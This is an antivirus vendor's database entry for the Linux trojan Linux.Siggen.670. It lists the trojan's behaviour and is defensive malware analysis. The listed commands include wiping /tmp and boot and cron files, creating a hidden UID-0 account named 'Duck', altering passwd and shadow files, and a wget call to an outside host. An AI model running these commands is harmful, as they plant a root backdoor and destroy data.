JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.670
Added to the Dr.Web virus database:
2018-06-19
Virus description added:
2018-06-19
Technical Information
Malicious functions:
Removes itself
Launches processes:
rm -rf /tmp/*
rm -rf <SAMPLE_FULL_PATH> /root/run.sh /root/stdout.log
rm -rf /boot/grub/deamon
rm -rf /boot/grub_disk_genius
rm -rf /etc/cron.hourly/yeh
mkdir /tmp/.Myslut
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash Duck
nscd -i passwd
nscd -i group
passwd Duck
wget http://yip.su/1Aa9M6.html --no-check-certificate
Performs operations with the file system:
Modifies file access rights:
/etc/passwd+
/etc/shadow+
/etc/subuid+
/etc/subgid+
Creates folders:
Creates symlinks:
/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/etc/shadow.lock
Creates or modifies files:
/etc/.pwd.lock
/etc/passwd.716
/etc/group.716
/etc/gshadow.716
/etc/subuid.716
/etc/subgid.716
/etc/shadow.716
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/root/stdout.log (deleted)
Deletes files:
/tmp/*
/root/run.sh
/boot/grub/deamon
/boot/grub_disk_genius
/etc/cron.hourly/yeh
/etc/passwd.716
/etc/group.716
/etc/gshadow.716
/etc/subuid.716
/etc/subgid.716
/etc/shadow.716
/etc/shadow.lock
/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
Network activity:
Establishes connection:
HTTP GET requests:
DNS ASK:
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK